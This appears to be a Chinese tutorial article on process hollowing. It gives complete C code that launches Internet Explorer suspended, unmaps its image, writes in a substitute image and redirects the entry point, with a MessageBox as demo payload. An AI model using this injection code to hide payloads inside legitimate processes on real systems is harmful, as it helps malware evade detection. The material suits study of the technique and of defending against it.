傀儡进程的分析与实现
字数 903 2025-08-24 23:51:25
傀儡进程的分析与实现技术详解
一、前言
傀儡进程是一种高级的进程隐藏技术,通过挂起目标进程并注入自定义代码来实现对合法进程的"劫持"。本文将详细解析傀儡进程的实现原理和具体技术细节。
二、基础知识
1. 挂起方式创建进程
关键点:
- 进程创建后会在内存空间进行拉伸
- 在程序运行前可以写入shellcode
- 使用挂起模式创建进程后,可以在进程运行前操作其内存空间
2. CreateProcess函数详解
BOOL CreateProcess(
LPCTSTR lpApplicationName, // 应用程序名称
LPTSTR lpCommandLine, // 命令行字符串
LPSECURITY_ATTRIBUTES lpProcessAttributes, // 进程的安全属性
LPSECURITY_ATTRIBUTES lpThreadAttributes, // 线程的安全属性
BOOL bInheritHandles, // 是否继承父进程的属性
DWORD dwCreationFlags, // 创建标志
LPVOID lpEnvironment, // 指向新的环境块的指针
LPCTSTR lpCurrentDirectory, // 指向当前目录名的指针
LPSTARTUPINFO lpStartupInfo, // 传递给新进程的信息
LPPROCESS_INFORMATION lpProcessInformation // 新进程返回的信息
);
关键参数:
dwCreationFlags: 设置为CREATE_SUSPENDED可以挂起创建进程lpProcessAttributes和lpThreadAttributes: 控制句柄继承的SECURITY_ATTRIBUTES结构
3. SECURITY_ATTRIBUTES结构
typedef struct _SECURITY_ATTRIBUTES {
DWORD nLength; // 结构体的大小
LPVOID lpSecurityDescriptor; // 安全描述符
BOOL bInheritHandle; // 指定返回的句柄是否被继承
} SECURITY_ATTRIBUTES, *PSECURITY_ATTRIBUTES;
三、挂起进程验证实验
1. 父进程代码
#include "stdafx.h"
#include <windows.h>
int main(int argc, char* argv[]) {
char szBuffer[256] = {0};
char szHandle[8] = {0};
SECURITY_ATTRIBUTES ie_sa_p;
ie_sa_p.nLength = sizeof(ie_sa_p);
ie_sa_p.lpSecurityDescriptor = NULL;
ie_sa_p.bInheritHandle = TRUE;
SECURITY_ATTRIBUTES ie_sa_t;
ie_sa_t.nLength = sizeof(ie_sa_t);
ie_sa_t.lpSecurityDescriptor = NULL;
ie_sa_t.bInheritHandle = TRUE;
STARTUPINFO ie_si = {0};
PROCESS_INFORMATION ie_pi;
ie_si.cb = sizeof(ie_si);
TCHAR szCmdline[] = TEXT("c://program files//internet explorer//iexplore.exe");
CreateProcess(NULL, szCmdline, &ie_sa_p, &ie_sa_t, TRUE, CREATE_NEW_CONSOLE, NULL, NULL, &ie_si, &ie_pi);
sprintf(szHandle, "%x %x", ie_pi.hProcess, ie_pi.hThread);
sprintf(szBuffer, "C:/project/win32 create process4/Debug/win32 create process4.exe %s", szHandle);
STARTUPINFO si = {0};
PROCESS_INFORMATION pi;
si.cb = sizeof(si);
BOOL res = CreateProcess(NULL, szBuffer, NULL, NULL, TRUE, CREATE_NEW_CONSOLE, NULL, NULL, &si, &pi);
return 0;
}
2. 子进程代码
#include "stdafx.h"
#include <windows.h>
int main(int argc, char* argv[]) {
DWORD dwProcessHandle = -1;
DWORD dwThreadHandle = -1;
char szBuffer[256] = {0};
memcpy(szBuffer, argv[1], 8);
sscanf(szBuffer, "%x", &dwProcessHandle);
memset(szBuffer, 0, 256);
memcpy(szBuffer, argv[2], 8);
sscanf(szBuffer, "%x", &dwThreadHandle);
printf("获取IE进程、主线程句柄\n");
Sleep(5000);
printf("挂起主线程\n");
::SuspendThread((HANDLE)dwThreadHandle);
Sleep(5000);
::ResumeThread((HANDLE)dwThreadHandle);
printf("恢复主线程\n");
Sleep(5000);
::TerminateProcess((HANDLE)dwProcessHandle, 1);
::WaitForSingleObject((HANDLE)dwProcessHandle, INFINITE);
printf("ID进程已经关闭.....\n");
char szBuffer[256] = {0};
GetCurrentDirectory(256, szBuffer);
printf("%s\n", szBuffer);
getchar();
return 0;
}
3. 实验效果
- 挂起主线程时,IE浏览器无法响应
- 恢复主线程后,IE浏览器恢复正常运行
四、挂起模式启动进程
#include "stdafx.h"
#include <windows.h>
int main(int argc, char* argv[]) {
STARTUPINFO ie_si = {0};
PROCESS_INFORMATION ie_pi;
ie_si.cb = sizeof(ie_si);
TCHAR szBuffer[256] = "C:\\Documents and Settings\\Administrator\\桌面\\notepad.exe";
CreateProcess(NULL, szBuffer, NULL, NULL, FALSE, CREATE_SUSPENDED, NULL, NULL, &ie_si, &ie_pi);
ResumeThread(ie_pi.hThread);
return 0;
}
效果:
- 任务管理器显示进程已存在但无窗口
- 调用ResumeThread后显示正常窗口
五、傀儡进程实现过程
1. 实现思路
- 以挂起形式创建目标进程
- 申请可读可写内存区域存放shellcode
- 恢复主线程并将入口点指向shellcode
2. 关键技术点
(1) ZwUnmapViewOfSection函数
NTSTATUS ZwUnmapViewOfSection(
IN HANDLE ProcessHandle,
IN PVOID BaseAddress
);
用于清空进程内存中的数据。
(2) 获取模块基址和大小
HMODULE hModuleBase = GetModuleHandleA(NULL);
DWORD dwImageSize = GetCurModuleSize((DWORD)hModuleBase);
(3) 获取线程上下文
CONTEXT Thread;
Thread.ContextFlags = CONTEXT_FULL | CONTEXT_DEBUG_REGISTERS;
GetThreadContext(pi.hThread, &Thread);
(4) 获取远程进程映像基址
DWORD GetRemoteProcessImageBase(DWORD dwPEB) {
DWORD dwBaseAddr;
ReadProcessMemory(pi.hProcess, (LPVOID)(dwPEB + 8), &dwBaseAddr, sizeof(DWORD), NULL);
return dwBaseAddr;
}
(5) 内存操作流程
- 卸载原有内存空间
ZwUnmapViewOfSection(pi.hProcess, (LPVOID)dwRemoteImageBase); - 重新申请内存空间
VirtualAllocEx(pi.hProcess, hModuleBase, dwImageSize, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE); - 写入shellcode
WriteProcessMemory(pi.hProcess, hModuleBase, hModuleBase, dwImageSize, NULL);
(6) 修改入口点
Thread.ContextFlags = CONTEXT_FULL;
Thread.Eip = GetNewOEP();
SetThreadContext(pi.hThread, &Thread);
六、完整实现代码
#include <windows.h>
#include <tchar.h>
#include <iostream>
using namespace std;
typedef long NTSTATUS;
typedef NTSTATUS(__stdcall *pfnZwUnmapViewOfSection)(IN HANDLE ProcessHandle, IN LPVOID BaseAddress);
pfnZwUnmapViewOfSection ZwUnmapViewOfSection;
PROCESS_INFORMATION pi = {0};
BOOL CreateEXE() {
wchar_t wszIePath[] = L"C:\\Program Files\\Internet Explorer\\iexplore.exe";
STARTUPINFO si = {0};
si.cb = sizeof(si);
BOOL bRet;
bRet = CreateProcessW(NULL, wszIePath, NULL, NULL, FALSE, CREATE_SUSPENDED, NULL, NULL, &si, &pi);
if(bRet) {
printf("[*] Create process successfully!\n\n");
} else {
printf("[!] Create process failed\n\n");
}
return bRet;
}
DWORD GetCurModuleSize(DWORD dwModuleBase) {
PIMAGE_DOS_HEADER pDosHdr = (PIMAGE_DOS_HEADER)dwModuleBase;
PIMAGE_NT_HEADERS pNtHdr = (PIMAGE_NT_HEADERS)(dwModuleBase + pDosHdr->e_lfanew);
return pNtHdr->OptionalHeader.SizeOfImage;
}
DWORD GetRemoteProcessImageBase(DWORD dwPEB) {
DWORD dwBaseRet;
ReadProcessMemory(pi.hProcess, (LPVOID)(dwPEB + 8), &dwBaseRet, sizeof(DWORD), NULL);
return dwBaseRet;
}
void Mess() {
MessageBoxA(0, "Inject successfully", "", 0);
}
DWORD GetNewOEP() {
return (DWORD)Mess;
}
int _tmain(int argc, _TCHAR* argv[]) {
ZwUnmapViewOfSection = (pfnZwUnmapViewOfSection)GetProcAddress(GetModuleHandleA("ntdll.dll"), "ZwUnmapViewOfSection");
printf("[*] ZwUnmapViewOfSection address is : 0x%08X\n\n", ZwUnmapViewOfSection);
if(!ZwUnmapViewOfSection) {
printf("[!] ZwUnmapViewOfSection failed\n\n");
exit(1);
}
if(!CreateEXE()) {
printf("[!] Create Process failed\n\n");
exit(1);
}
printf("[*] The process PID is : %d\n\n", pi.dwProcessId);
HMODULE hModuleBase = GetModuleHandleA(NULL);
DWORD dwImageSize = GetCurModuleSize((DWORD)hModuleBase);
CONTEXT Thread;
Thread.ContextFlags = CONTEXT_FULL | CONTEXT_DEBUG_REGISTERS;
GetThreadContext(pi.hThread, &Thread);
DWORD dwRemoteImageBase = GetRemoteProcessImageBase(Thread.Ebx);
ZwUnmapViewOfSection(pi.hProcess, (LPVOID)dwRemoteImageBase);
LPVOID lpAllocAddr = VirtualAllocEx(pi.hProcess, hModuleBase, dwImageSize, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);
if(lpAllocAddr) {
printf("[*] VirtualAllocEx successfully!\n\n");
} else {
printf("[!] VirtualAllocEx failed\n\n");
return FALSE;
}
if(NULL == ::WriteProcessMemory(pi.hProcess, hModuleBase, hModuleBase, dwImageSize, NULL)) {
printf("[!] WriteProcessMemory failed\n\n");
return FALSE;
} else {
printf("[*] WriteProcessMemory successfully!\n\n");
}
Thread.ContextFlags = CONTEXT_FULL;
Thread.Eip = GetNewOEP();
SetThreadContext(pi.hThread, &Thread);
if(-1 == ResumeThread(pi.hThread)) {
printf("[!] ResumeThread failed\n\n");
return FALSE;
} else {
printf("[*] ResumeThread successfully!\n\n");
}
}
七、实现效果
成功执行后会弹出MessageBox,证明傀儡进程创建成功。
八、总结
傀儡进程技术要点:
- 使用
CREATE_SUSPENDED标志创建挂起进程 - 获取并修改线程上下文
- 使用
ZwUnmapViewOfSection清理原有内存 - 重新分配内存并写入shellcode
- 修改入口点并恢复线程执行
该技术可以用于合法渗透测试,但也可被恶意软件利用,使用时需遵守相关法律法规。